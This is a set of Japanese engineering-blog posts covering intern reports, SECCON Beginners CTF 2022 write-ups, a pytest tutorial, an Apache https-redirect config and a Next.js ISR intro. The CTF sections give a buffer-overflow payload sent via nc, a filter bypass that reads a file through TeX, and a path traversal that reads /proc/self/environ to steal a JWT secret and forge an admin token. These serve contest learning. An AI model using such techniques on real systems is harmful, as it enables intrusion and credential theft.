最後に、このインターンシップでは、これから社会に出るうえでどのようなフィールドでも通用するようなスキルを学べただけではなく、技術以上に大切なものを知ることができたような気がします。 大変有意義な時間だったので、終わってしまうのは寂しい気持ちでいっぱいですが、インターン生という立場ながらバックエンド・フロントエンドとフルスタックに開発に参加させていただき、一からマイナビの新サービスを作ることに携われたことは、本当に一生モノの経験になりました。 @toshi-bp 経営工学を専攻している大学4年生です。2021年8月から2022年6月までインターンに参加しました。 就業型インターンシップ参加まで 私も@soutaschoolと同様にサポーターズのサマーEXPOでマイナビの就業型インターンの存在を知り、応募をしました。書類選考や面接では、これまでに触れてきた技術に関することやインターン参加に対する軸について聞かれました。 これから何かしらのエンジニアの就業型インターンシップに参加したい方々は下記の点などを念頭に置きながら、開発や選考の準備を進めていくと良いかもしれません。 インターンに参加して何が得たいのか なぜそうしたいと考えたのか そのポートフォリオを作成した背景(なぜ作ったのか、どのような状況で作ったのか、なぜその技術を選定したのかなど) ポートフォリオ作成を通じて何を得ることができたのか 実際にやったこと 社内研修で使用する経営シミュレーションゲームのWebアプリ化 マイナビジョブサーチ のバックエンド開発 ハッカソン型インターンシップで利用するWEBアプリのリファクタリングおよび機能実装 学びと感想 本インターンは、私にとって初めての就業型インターンシップでした。 参加してみて、自分よりもレベルの高い他のインターン生や社員の方々とチームを組んで開発を行うことで、 どのような姿勢でプロダクトに向き合っているのか どのように技術の学習を進めているのか コードを書く上で重要視している点は何か 上記のような、他の人の仕事に対する姿勢を実際に肌で感じて学ぶことができました。 認識の擦り合わせの重要性や、他メンバーとの連携をより取りやすくするためのドキュメントの整備の必要性など、個人開発では得られない知見も多く得られました。技術のキャッチアップはもちろんのこと、そのような知見を得ることは、私にとって、他メンバーと対等に開発を進めていくために必要なものであり、開発に参加し続けるための大きな励みにもなりました。 (恥ずかしながら、私は他メンバーと比較して技術力があるわけではなかったため、彼らに少しでも追いつくために技術を学ぶ必要がありましたが、加えてチーム開発で大切な部分についても学べたことは非常に大きな経験になったと考えています。) 優秀な方々と一緒に開発を進める中で、他のインターン生や社員の方々と仲間(メンバーの一員)になれたことが、本インターンを通して得られた最も大きな収穫であると考えています。 @kajikentaro 大学4年生です。3年生の11月から参加しました。 就業型インターンシップ参加まで 私はマイナビが初めての就業型インターンでした。夏に参加した マイナビ主催のハッカソン型インターンシップ がきっかけで応募をしました。 実際にやったこと Next.jsとtypescriptでトップページのモックを作成（研修） マイナビジョブサーチ のフロントエンド開発 学びと感想 先輩社員にコードレビューをしていただき、普段一人でコーディングするだけでは気がつけない客観的な指摘や、ベストプラクティス、アドバイスなどをいただくことができました。 フロントエンドは3人ほどのチームだったので、積極的に開発に携わらせていただきました。こんなにも多くの開発案件に携わらせてくれるとは思っておらず、本当に貴重な経験をさせてもらいました！ ▲インターンシップ中のコミット数と行数です @aya-se 情報工学を専攻する学部4年生です。 就業型インターンシップ参加まで 私も2021年夏のハッカソンをきっかけに、就業型のインターンシップにも参加することになりました。また、長期のインターンシップは今回が初めてでした。 以前から、Vue.jsやFirebaseなどで個人的にWebアプリケーションを作ったことはありましたが、React.jsやNext.jsはこの就業型インターンシップや前述の夏ハッカソンを機に初めて勉強しました。また、インターンシップ参加前はいわゆるチーム開発の経験がほとんどなく、特にハッカソン参加前は割とGitのコマンド操作も怪しいぐらいのレベル感であったと記憶しています。 フレームワーク等の具体的なキャッチアップとしては、ハッカソン直前にReact.jsの基礎的な参考書を1冊やったり、就業型インターンシップ初期にNext.jsのチュートリアルを進めたりしていました。それ以外は、実際の業務をこなしていきながら自然に勉強していった感じだったと思います。 実際にやったこと マイナビジョブサーチ のデザイン実装や機能実装、および仕様提案 学びと感想 コーディングに関する技術的な発見が多数あったことはもちろんですが、個人的には、「非常に多くの方が携わる大規模な開発の中で、どのようにコミュニケーションを取っていくべきか」といった面でも大きな収穫があったと思っています。特にフロントエンドとしては、デザイン担当の方との仕様の相談や調整は想像していた以上に重要で、「伝えるべきことをいかに正確に、そして簡潔に伝えるか」は、チーム開発をしていく上で非常に大切なことであると実感しました。リモートワークが普及しつつある今、Slackをはじめとしたテキストベースでのやり取りを含め、今後も“気持ちの良い”コミュニケーションの取り方を模索していきたいと思います。 また、社員の方にとても細かくコードレビューをしていただけたことも印象的でした。特に業務を始めたての頃はとても粗の多いコードを提出してしまい、大量のフィードバックをいただいたことを覚えています。他の経験者の方から、客観的な目線で細かくアドバイスをいただける機会は大変貴重なものでした。また逆に、他の人のコードのレビューを任されることもありました。コードのミスをくまなくチェックして指摘するというのもなかなか難しい仕事だと感じましたが、良い練習になりました。 長期インターンで良かったこと チーム開発経験や業務に直結する技術が身につく 個人やチームで趣味の開発をしたりハッカソンなどに参加する機会はあっても、実際に業務のコードを書いている学生は意外と少ないと思います。マイナビでは、ひとつのチームの人数が少ないこともあり、改善点があったら自分で考えて提案・実装できるので、チームのメンバーとして積極的にプロジェクトに関わることができます。 「テストにしか関われない」「言われたことのみをやる」ということは全くありません。 社員の方や同年代の学生との関り合いができる 出社していれば社員さんに直接、オンラインであってもGoogle MeetやSlackなどのコミュニケーションツールを使って、わからないことはすぐに聞くことができます。 また、今期の長期インターンシップ生は4人だったのですが、出社の曜日が合う日はお昼ご飯に一緒に行ったり、インターン中の話や就活状況などの情報交換を行うことができました。 ▲とある日のお昼休み：フリースペースに置いてあったチェスで対戦しました 就活に役立つ 学んだスキルや知識が業務に直結するエンジニアの就活では、実践的な業務経験が重視されることも多いです。インターンを通じて得たことは、ガクチカや自己ＰＲにとても役立ちました。また、開発エンジニアの仕事が自分に合っているかを確かめる良い機会にもなりました。 まとめ 技術やスキルの学びはもちろんのこと、開発プロジェクトの進行について、仕事に臨む姿勢についての学びもありました。何より、実際にエンジニアやプログラマーを目指すうえで、「将来もこの仕事がしたい！」と思えたことが大きな自信につながりました。約半年から1年のインターンでしたが、とても楽しく参加することができました。マイナビの皆さん、本当にありがとうございました！ 最後に、もし、この記事を読んでいるあなたが少しでもエンジニアの長期インターンに興味があれば、ぜひマイナビのインターンシップに挑戦をしていただきたいです！ この記事が、マイナビのエンジニアに興味を持ってもらうきっかけになれば幸いです！

前編はこちら 本記事はpicoCTF 2022のWriteup（前編）の続きです。 ###card_post_id=826### pwnable BeginnerBof プログラムをみると、main関数内で fgets関数を利用しています。Buffer Overflow が狙えそうです。 この関数の戻りアドレスを Buffer Overflow で書き換え、win関数に遷移させることでフラグが入手できそうです。 gdb (PEDA拡張付き)を利用し、①fgets関数実行直後のスタックの状態 を調べます。 objdumpコマンドで遷移させる ②win関数のアドレス を調べます。 $ objdump -t chall | grep win00000000004011e6 g F .text 000000000000007d win ①②の2つの情報から、入力すべきデータが分かりました。実際に実行してフラグを入手します。 $ printf '49\n0123456789012345678901234567890123456789\xe6\x11\x40\x0\x0\x0\x0\x0' | nc beginnersbof.quals.beginners.seccon.jp 9000How long is your name?What's your name?Hello 0123456789012345678901234567890123456789�@ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}Segmentation fault raindrop おぼえていますか? nc raindrop.quals.beginners.seccon.jp 9001 raindrop.tar.gz d6af5202e0af725b281f8771efa594b133955a46 特に言うことなしの人です。 22時から開始して朝4時まで格闘。起床してからもずっと格闘していましたが、終ぞ解けませんでした。 タイトルどおりROPを狙いに行く問題だと思い、 vuln関数内の read に対してオーバーフロー起こして system('/bin/sh') をコールしてシェルを奪取する感じだと思い、ずっとこねくりまわしていました。 void vuln() { char buf[BUFF_SIZE] = {0}; show_stack(buf); puts("You can earn points by submitting the contents of flag.txt"); puts("Did you understand?") ; read(0, buf, 0x30); puts("bye!"); show_stack(buf);} ただ /bin/sh のアドレスがわからず「マジで難しくない…？ほんとにこれがeasy…？」ってなりました。 （朝4時） reversing Quiz 逆コンパイルや逆アセンブラも試しましたが、結局は strings コマンドでも フラグが取れました。 $ strings quiz | grep ctf4bctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?} Recursive リバースエンジニアリングツール Ghidra でダウンロードした実行バイナリをデコンパイルします。 関数check がフラグの妥当性をチェックする関数と分かります。 undefined8 check(char *param_1,int param_2){ int iVar1; int iVar2; int iVar3; size_t sVar4; char *pcVar5; sVar4 = strlen(param_1); iVar3 = (int)sVar4; if (iVar3 == 1) { if (table[param_2] != *param_1) { return 1; } } else { iVar1 = iVar3 / 2; pcVar5 = (char *)malloc((long)iVar1); strncpy(pcVar5,param_1,(long)iVar1); iVar2 = check(pcVar5,param_2); if (iVar2 == 1) { return 1; } pcVar5 = (char *)malloc((long)(iVar3 - iVar1)); strncpy(pcVar5,param_1 + iVar1,(long)(iVar3 - iVar1)); iVar3 = check(pcVar5,iVar1 * iVar1 + param_2); if (iVar3 == 1) { return 1; } } return 0;} 変数名など非常に解読しづらいですが、なんとか読めます。 python3で記述すると以下のような関数です。 def check(s: str, i: int) -> bool: l = len(s) if l == 1: return table[i] == s else: h = l // 2 return check(s[:h], i) and check(s[h:], h * h + i) フラグはバイナリのmain関数から38文字と分かっています。 これを逆解析する処理をpythonで記述すると以下のとおりです。 def solve(i: int, length: int) -> str: if length == 1: return table[i] else: h = length // 2 return solve(i, h) + solve(i + h * h, length - h)flag = solve(0, 38)print(flag)print("check:", check(flag, 0)) crypto CoughingFox これは近代的な暗号の知識が不要な問題です。 実直に複合プログラムを実装して、フラグを入手します。 cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]def solve() -> str: for i in range(len(cipher)): s = [chr(c) for c in range(32, 128) if (c + i) ** 2 + i in cipher] if len(s) != 1: raise "decrypt error" yield s[0]print(*solve(), sep="") PrimeParty nc コマンドでサーバーにつなぐと、4つのランダムな素数が選ばれて、ユーザには3つ整数の入力を求められる。 [*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる[*] Do you want to invite more guests? > 3 ### ←ユーザ入力[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*-[*] Do you want to invite more guests? > 7 ### ←ユーザ入力[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*-[*] Do you want to invite more guests? > 5 ### ←ユーザ入力[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*-n = 4004010545354487155134564423760393760628501822648175413485182403177802614497075083081182871142220683183557620516756004878516975932858973203260775712393382486169226826588778865850046172282431818404573401295548665402655542135864623672522705582354620536818733452475391502972892348382776846641213215684323978472895e = 65537cipher = 121704966078479187399961267434675399383069953478329222718742231454820171887448985921148428703591817131480017620241185738604457598736158812775226455348391419990103216749070153064390290750749137854194363776138035694542075230511050030917515938266383908268072173261379715604042999949226506925007130601447660721627 ここで、 n は、サーバ側でランダムに設定された素数４つと、ユーザ入力の３つの整数のうち素数を全てかけ合わせた数である。 e は65537で固定である。 cipher の値は、次のように計算されている。 cipher = pow(flag, e, n) これってRSA暗号に似てるので、 e に対応する d を決めて、 flag = pow(cipher, d, n) を計算すればいいんじゃね？と思ったが、 d を決めるためには、 n を素因数分解しないといけないので、ほかの手段はないの？とぐるぐるしていたら間に合わなかった。 作問者のWriteUpをみて、次のように解けばよいとわかりました。 pが素数で、nが平方因子のない自然数であるとき ①オイラーの定理 \(t \equiv 1\pmod {p−1}⇒ a^t \equiv a\pmod p\) ② FLAGより大きな素数 p を求める (455bitより大きいサイズであればOK) ③ \(ed \equiv 1\pmod {p−1}\)なる\(e\)を探す ④ \(cipher\)を\(p\)で割った余りを\(r\)とする。 ①、③より$$ r^d \equiv X^{ed} \equiv X \pmod p $$がいえて、②より、この条件を満たす\(X\)のうち最小のものがFLAGである。 ③のような\(d\)は次のプログラムで求められるらしい pow(e, -1, p-1) ②の素数は、\(2^{455}\)がだいたい137ケタなので、138ケタ以上の素数を探して持ってくればよい。 https://ja.wikipedia.org/wiki/%E5%B7%A8%E5%A4%A7%E3%81%AA%E7%B4%A0%E6%95%B0%E3%81%AE%E4%B8%80%E8%A6%A7 ここから、メルセンヌ素数 \(M_{521}=2^{521}-1\)を使えばよさそう In [6]: 2**521 - 1Out[6]: 6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151 https://www2.math.kyushu-u.ac.jp/~snii/RSA.pdf 以上より d = pow(e, -1, p-1)flag_int = cipher ** d welcome 完走した感想 昨年参加したときは上位15％ほどでしたが、今回は上位7％とかなりいいところまで行けたと思います。すごい！ 昨年同様になってしまいますが、 pwnable と reversing 、 crypto は回答チームも少なく、差が出るポイントかなと思いました。 というかマジでこの3ジャンルは難しい。だれか強い人おらんかぁ？ 待っています！ ※サムネ画像ロゴは『SECCON Beginners CTF』より引用

2022年6月4日〜5日に開催されたSECCON Beginners CTF 2022にチームマイナビで参加しました。 本記事はそのWriteupとなります。 概要 CTF（Capture the Flag）とは、情報セキュリティの知識を使うセキュリティコンテストの一つです。 いくつかのジャンルに分かれており、例えば リバースエンジニアリングによって実行ファイルの脆弱性をつく Webアプリの脆弱性をつく ファイル内に隠された情報を抜き取る などの、そういった攻撃をして隠された『Flag』を手に入れることを目的としています。 今回、国内のCTFの中で最大となるSECCONが開催しているビギナー向けのコンテストに参加しました。 ※ちなみに昨年も参加しています。 結果 結果は891チーム中63位でした！ 結果 解いた問題のカテゴリ割合 メンバー メンバー 紹介（筆者の偏見が混じっています） S.H.さん チームmnsecのポイントゲッター S.R.さん おいおい知らねえぜ、俺が全完しててもよォ S.T.さん 期待のにゅーふぇいす M.W.（私） 特に言うことなし 流れ Writeup web textex 課題ページ( https://textex.quals.beginners.seccon.jp/ )に移動し、適当にTeX文書を入力すると、コンパイルされてPDFが返ってくるというアプリケーションが実装されている。 サーバのソースコードを見てみると、flag というファイルがあるので、その中をTeX経由で覗くと正解が得られると考えられる。 ファイルの中身をそのまま展開することのできる\verbatiminputコマンドでやろうとする。 \documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{../../flag}\end{document} しかし、TeXのソースコードに flagという文字列が含まれているとエラーになるように app.pyが実装されている。 # No flag !!!!if "flag" in tex_code.lower(): tex_code = "" そこで、 flagというファイル名を、マクロで分解して、TeXで展開した時に flagに見えるようにするとフラグの中身を覗くことができる。 \documentclass{article}\usepackage{verbatim}\newcommand{\fl}{fl}\newcommand{\ag}{ag}\begin{document}\verbatiminput{../../\fl\ag}\end{document} gallery 絵文字のギャラリーサービスからフラグを取得する問題です。 https://gallery.quals.beginners.seccon.jp/?file_extension=flaにアクセスすると、flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdfというファイルが存在していることが分かります。 こちらはブラウザからそのままダウンロードはできません。 サーバーサイドアプリケーションで10,240バイト以上のレスポンスは、そのまま返さないように制限がかけれているからです。 Rangeヘッダを利用して、10,000バイトづつに分割してダウンロードし、それらを結合できればよさそうです。 参考: https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Range $ curl 'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' -H 'Range: bytes=0-9999' --output 0.bin$ curl 'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' -H 'Range: bytes=10000-19999' --output 1.bin$ cat 0.bin 1.bin > test.pdf 無事、フラグを取得できました。 Ironhand お題としてWebサイトが与えられます。ユーザー名を指定してログインすると、user（一般ユーザー）としてログインします。テキストを読むに、adminとしてログインするとflagをもらえそうです。 Cookieを確認すると、JWT（JSON Web Token）が与えられていました。デコードすると、 IsAdmin というパラメータを持っていることが分かります。現在 false になっていますが、これを true にすれば万事解決……しません。なぜなら、JWTはヘッダー部、ペイロード部、およびヘッダー部とペイロード部を結合した文字列のデジタル署名からなり、 IsAdmin だけを変更すると、署名検証が失敗するからです。署名は改ざん検知に有用だということがよく分かります。 adminになるためには適切な署名を生成する必要があり、そのためには署名に使われたシークレットを入手しなければなりません。提供されているアプリのコードを読むと、署名に使われたシークレットである JWT_SECRET_KEY は、アプリケーションの環境変数として宣言されていることが分かります。 コードを追っていくと、 /static/:path にきな臭さを感じます。具体的には、静的ファイルの配信ならNginxでやればいいのに、わざわざアプリケーションでやっているあたりが臭いです。 更に、Nginxの設定ファイルにも merge_slashes off という馴染みのないオプションがあります。URLにスラッシュをたくさん投げてくれと言わんばかりです。 検証の結果、案の定 /static/:path にパストラバーサル脆弱性があることが分かりました。画像は脆弱性を利用して、本来表示できないはずの /etc/passwd を表示しているところです。 パストラバーサルを使ってどうやって環境変数を窃視するかというと、 /proc/self/environ を呼び出すことで、アプリケーションの環境変数を含むファイルを取得できます。 JWT_SECRET_KEY が含まれていることが分かります。 あとは、 IsAdmin を true を変更して、 JWT_SECRET_KEY を使った正しい署名を含むJWTを作ったら、ブラウザのCookieを書き換えて更新してやればflagです。 なお、この問題には刺さりませんが、 alg: none にして署名検証そのものをバイパスするという手法・脆弱性もあるみたいです。その発想はなかった。いずれにせよ、パストラバーサル怖～～というのが教訓です。 後編へ続く・・ ###card_post_id=817### ※サムネ画像ロゴは『SECCON Beginners CTF』より引用

導入編 テストは大きく分けて3種類 ユニットテスト　⇐本メモで触れます 結合テスト ステージングテスト（非機能要件テスト） コードレビューの関心ごと ロジックに問題がないか 実行時制約など非機能要件の満足に影響がないか コードの可読性 このうち、1.のロジックの正当性は、フローを目で追っていかないといけないので負荷が高いですよね。 しかも、一度正常に動いていても、少し変えただけでまたロジックの正当性を確認しないといけません。 また、レビューする側も人間ですから、失敗する可能性もあり多少の不安は残るでしょう。 つまり、確実かつ効率よくロジックの正当性を確認する必要があります。 主な目的は、 目視で正当性を確認しなければならない個所を減らす ことになります。 そこでユニットテストですよ テストケースを正しく書けば、プログラムロジックの正しさを証明できる！ つまり、ユニットテストをPASSすることで自信をもってデプロイできる！ いやぁ、 素晴らしき 哉 かな ユニットテスト！ テストはいつ書くの? 個人的には実装する 前 に書く方が良いです。 「テスト駆動開発」といい、テストを先に書いて、そのテストが通るようにコードを書く これが、「コードが満たすべき条件」を定義することになる。要件をコードで持っておくような感じ。 つまり、 「テストを書く」→「実装する」→「テストを通す」→「レビューする」→「マージする」 この繰り返しになります。 テストに落としこみにくいとか、緊急で実装したくてテストを書く余裕がないような場合は、後回しでもよいと思います。でもちゃんと手元での動作確認はしましょう。そして、テストは後でちゃんと書きましょう。 Pythonでのテスティングフレームワーク Pythonに限らずですが、大体のプログラミング言語にはこのユニットテストようのライブラリが開発されています。 Pythonの場合、次のような二大派閥があります。 一番手軽な unittest デフォルトで入っています。テスト用にテストライブラリをインストールするといった手間が省けます。 テストフレームワーク pytest unittestのラッパーみたいな感じで、拡張機能などが豊富にあります。 VSCodeのPythonプラグインと連携して、テストが通っているかどうか視覚的に確認できるので便利です。 こちらはOSSライブラリとなりますので、pipenv install --dev pytestで開発用にインストールしましょう。 「開発用にインストール」とは、本番稼働にpytestは不要なので手元の作業環境にだけインストールすることです。 他にも、 tox さまざまな環境(pythonバージョン)での動作をテストするための設定を簡単にかける。 オープンソースのリポジトリなどで導入されているのをよく見かけます。 なんてものもあります。 私がpytest派なので、次からpytestについて書いていこうと思います。 テストの基本編 pytestをインストールしよう pytestはほとんどの場合は、本番稼働時には不要なので、pipenvにおいて次のように--devオプションをつけることで、pipenv syncしたときにはインストールされないようにすることができます。 pipenv install --dev pytest pipならこうです。 pip install pytest ソースコード構成 最もよくとられるソースコード構成は、次のようになっています。 ① tests ディレクトリをルートに作成する ② 本体コードと同じ構成で、test_を接頭辞にもつ.pyファイルを作成する ここでは次のような構成であるとして進めていきます。 <project_root>|+- src/| `- game.py+- tests/ `- src/ `- test_game.py テストを先に書く では、今回は例として、game.pyに、「丁半」のゲームのジャッジを行うメソッドを書くことにしましょう。 丁半とは、次のようなルールの賭博です。 サイコロ２つを振って出る合計の目が偶数になると思ったら「丁」、奇数になると思ったら「半」に賭ける。 ひっくり返した茶碗の中で、サイコロ２つを振る。 予想が当たればお金が倍になる。外れればお金は没収される。 今回は、サイコロ２つを振った合計が偶数か奇数かを判定するメソッドを書きますが、その前にテストを定義します。 tests/src/test_game.pyに次のように記載します。 # tests/src/test_game.pyfrom src.game import judge_chouhandef test_judge_chouhan_odd(): assert judge_chouhan(1, 2) == '半'def test_judge_chouhan_even(): assert judge_chouhan(2, 4) == '丁' ポイントは、この時点で judge_chouhan()の中身は定義されていない ことです。 つまり、「出目が1と2ならば'半'を返す」、「出目が2と4ならば'丁'を返す」という２つの「テストケース」を定義したことになります。 なお、このようにテスト対象のモジュールの中身を知ることなく、入出力にだけ着目して行うテストのことを「 ブラックボックステスト 」と呼びます。 この状態でテストを実行してみましょう。 pipenv run pytest -v もちろん失敗しますが、「まず失敗するテストを書く」のが重要です。 ここから、「 このテストが通るように 」コードを実装していきます。 # src/test_game.pydef judge_chouhan(n1: int, n2: int) -> str: """n1とn2の合計が偶数なら'丁', 奇数なら'半'を返す。 Args: n1, n2 (int): さいころの出目 Return: str : '丁' or '半' """ if (n1 + n2) % 2 == 0: return '丁' else: return '半' 実装したら、もう一度テストを実行しましょう。 pipenv run pytest -v 例外が発生することをテストする with pytest.raises()ブロック内で、例外が発生するケースを呼び出すことで、 例外が発生するかどうかをテストすることができます。 サイコロの目が1～6以外が指定されたら例外が発生するように変えてみましょう。 まずはテストケースを追加します。 # tests/src/test_game.pyimport pytestdef test_judge_chouhan_exception(): """１～６以外の値が入ったときに例外が発生するかどうかテストする""" with pytest.raises(ValueError) as excinfo: judge_chohan(7, 1) # 例外メッセージをテストする assert str(excinfo.value) == "invalid eyes of die: n1 = 7" そして本体コードに例外処理を追加しましょう。 # src/test_game.pydef judge_chouhan(n1: int, n2: int) -> str: """n1とn2の合計が偶数なら'丁', 奇数なら'半'を返す。 Args: n1, n2 (int): さいころの出目 Return: str : '丁' or '半' Raises: ValueError: 不正なサイコロの目が入力された場合 """ assert (n1 - 1) * (n1 - 6) <= 0, ValueError("invalid eyes of die: n1 = %d" % n1) assert (n2 - 1) * (n2 - 6) <= 0, ValueError("invalid eyes of die: n2 = %d" % n2) if (n1 + n2) % 2 == 0: return '丁' else: return '半' mock編 関数が実行されたかどうかのテスト pytest-mockを使えば、テスト実行時だけ、メソッドやクラスを「実行したフリ」をすることができます。 たとえば、あるモデルの学習を行うメソッドsome_model.train()が次のようになっているとします。 # some_model.pyfrom sklearn.linear_model import LogisticRegressiondef train(params: Dict): """paramsをハイパーパラメータとして学習する。""" X, y = get_data() clf = LogisticRegression(**params) clf.fit(X, y) return clf そして、それを使ってハイパーパラメータ調整を行うsome_model.grid_search()が次のようになっているとします。 # some_model.pyfrom sklearn.model_selection import ParameterGriddef grid_search(param_grid: Dict[str, List]): """param_gridから探索空間を生成し、その空間でグリッドサーチを行う。""" param_grid = ParameterGrid(param_grid) for hparam in param_grid: clf = train(hparam) : (中略) return best_model ここで、これらのメソッドが正常に作動するかどうかテストします。テスト要件は次の通りです。 train()は、paramsをディクショナリで受け取って、LogisticRegressionオブジェクトを返す。 grid_search()は、グリッドサーチの探索空間(引数のparam_grid)を次のように文字列->リストのディクショナリ型で受け取る。それをもとにグリッドサーチの探索空間(直積)を生成し、そのすべての要素についてtrain()を実行する。もっともよい性能を示したLogisticRegressionオブジェクトを返す。 # param_grid{'regularization': ['l1', 'l2', 'l1_l2'], 'loss': ['rmse', 'mae']} この２つのメソッドをテストしようとすると、grid_search()のテストでtrain()を何度も実行することになるので、train()の実行時間が長いとgrid_search()がとても長くなり非効率です。 grid_search()はtrain()が正常に動作すれば、あとは最高の性能を示したモデルを返すだけなので、 train()が正しく動作することを確認する grid_search()が、与えたハイパーパラメータから生成される探索空間のすべての要素に対して実行されることを確認する だけでよいはずです。 train()が正しく動作することを確認するのはtrain()のテストで可能なので、grid_search()のテストで関心があるのはtrain()がどのパラメータで実行されたか、だけです。 そこで、grid_search()のテスト時にtrain()を実行せずに、実行時のパラメータだけを確認したいときに使うのがpytest-mockです。 テストメソッドは次のようになります。 # test_some_model.pyfrom sklearn.linear_model import LogisticRegressiondef test_grid_search(mocker): """ some_model.grid_search()のユニットテスト。 実際に実行するときは探索空間すべてに対してtrain()を実行するが、 ユニットテストではtrain()を実行することなく、どのパラメータで実行されたかだけを確認する。 """ mocker.patch("some_model.train", return_value=LogisticRegression()) from some_model import grid_search param_grid = {"hp_a": [1, 2], "hp_b": [3, 4]} clf = grid_search(param_grid) ポイントはmocker.patchを実行する位置です。 モックしたいモジュールが直接ないし間接的にimportされる前に mocker.patch をしないとモックしてくれません。 from some_model import grid_searchを実行すると、同時にsome_model.py内で作成されているtrainもロードされてしまうため、先にimportを実行してしまうとモックが効かなくなります。そのため上記のコード例のようにimportする前にモックする必要があるのです。

やりたいこと タイトルの通り。 ApacheはDirectorySlashディレクティブにより、リクエストURLがディレクトリとなっていてスラッシュが無い場合はスラッシュを加えてリダイレクトする。 DirectorySlashディレクティブはデフォルトでオンになっている。 （参考） httpでアクセスがあった場合はhttpでリダイレクトする挙動となるため、以下の課題が発生する。 課題 以下の構成でApacheへアクセスする。 前提 Cloudfrontへのhttpアクセスはhttpsリダイレクト Cloudfront及びALBまではhttps EC2まではhttp トレイリングスラッシュ付きの場合は以下のようになる。 社内PCからCloudfront https://xxx.mynavi.jp/test/ CloudfrontからALB https://xxx.mynavi.jp/test/ ALBからEC2 http://xxx.mynavi.jp/test/ トレイリングスラッシュが無い場合は以下のようになる。 社内PCからCloudfront https://xxx.mynavi.jp/test CloudfrontからALB https://xxx.mynavi.jp/test ALBからEC2 http://xxx.mynavi.jp/test EC2でリダイレクト（スラッシュ付与） http://xxx.mynavi.jp/test/ Cloudfrontでhttpsリダイレクト https://xxx.mynavi.jp/test/ CloudfrontからALB https://xxx.mynavi.jp/test/ ALBからEC2 http://xxx.mynavi.jp/test/ このようにhttpsでアクセスしたものが、DirectorySlashによりhttpにリダイレクトされてしまう。 ◆ブラウザでアクセスした結果 ◆アクセスした際のApacheアクセスログ [31/May/2022:20:04:06 +0900] "GET /test HTTP/1.1" 301 260 "-" "Amazon CloudFront"[31/May/2022:20:04:06 +0900] "GET /test/ HTTP/1.1" 200 52 "-" "Amazon CloudFront" これを解消するために、Apache側でスラッシュを付与して更にhttpsでリダイレクトする設定を行う。 設定 Apacheのconfファイルに以下を追記する。 RewriteCond %{LA-U:REQUEST_FILENAME} -dRewriteRule ^/(.*[^/])$ https://%{HTTP_HOST}/$1/ [R=301,L,QSA] この設定はDirectorySlashより優先される。 Apacheを再起動して再度確認。 ◆ブラウザでアクセスした結果 ◆アクセスした際のApacheアクセスログ [31/May/2022:20:22:27 +0900] "GET /test HTTP/1.1" 301 261 "-" "Amazon CloudFront"[31/May/2022:20:22:27 +0900] "GET /test/ HTTP/1.1" 200 52 "-" "Amazon CloudFront" 社内PCからCloudfront https://xxx.mynavi.jp/test CloudfrontからALB https://xxx.mynavi.jp/test ALBからEC2 http://xxx.mynavi.jp/test EC2でhttpsリダイレクト（スラッシュ付与） https://xxx.mynavi.jp/test/ CloudfrontからALB https://xxx.mynavi.jp/test/ ALBからEC2 http://xxx.mynavi.jp/test/ おまけ ApacheのRewriteCondではフロントがhttpsの時という条件を書くことができる。 例えば、Cloudfront,ALBがhtttpsで受けているかの判定は以下のように記載する。 ※ALBは自動で付与されるが、Cloudfrontはビヘイビアでヘッダーの設定をする必要がある。 # CloudfrontRewriteCond %{HTTP:CloudFront-Forwarded-Proto} =https# ALBRewriteCond %{HTTP:X-Forwarded-Proto} =httpsRewriteCond %{LA-U:REQUEST_FILENAME} -dRewriteRule ^/(.*[^/])$ https://%{HTTP_HOST}/$1/ [R=301,L,QSA] ・RewriteCondに関するオンプレからAWS移行時の注意点 オンプレ環境でLB(https)→サーバ(http)としており、LBで付与したヘッダーをRewriteCondで使用している場合、上で記載したようにAWS(Coudfront,ALB)が付与するヘッダーとは異なる可能性がある。

Next.js 12.1よりBetaとなったOn-Demand ISRが、6/29にリリースされたNext.js 12.2より安定版となりました！ これでようやく外向けの環境で動作するサービスに使用できるようになったので、今回はこのOn-Demand ISRについて紹介しようと思います。 そもそもOn-Demand ISRとは On-Demand ISRを説明するには、まずSSGとISRについて説明する必要があります。 SSGとは SSGとは、Static Site Generationの略で、その名の通り静的サイトを生成する機能のことを指します。 旧来のRailsやLaravelのようなMPA、あるいはRemixのようなSSRフレームワークは、アクセスが発生した段階でサーバーサイドでサイトをレンダリングしますが、SSGはアクセスよりもはるか前、デプロイ前のビルド時 (記述したコードを実際の環境で動作するよう変換する段階) に返却するファイルを生成します。 これにより、SSGされているページではレンダリングの必要がないため、MPAなサイトやSSRのページと比較して高速な描画が期待できます。 欠点として、最新の情報を記載することを苦手としています。 記述内容が変わることのないページや、コードとともに掲載内容を管理している記事ページなどでは有効ですが、チケット販売や天気情報などのリアルタイム性が必要なもの、Headless CMSを用いて記事を管理しているケースでは使用することができません。 これを改善するための機能が、ISRです。 ISRとは ISRとは、 Incremental Static Regenerationの略称で、SSGしたページを任意の秒数で再生成する機能です。 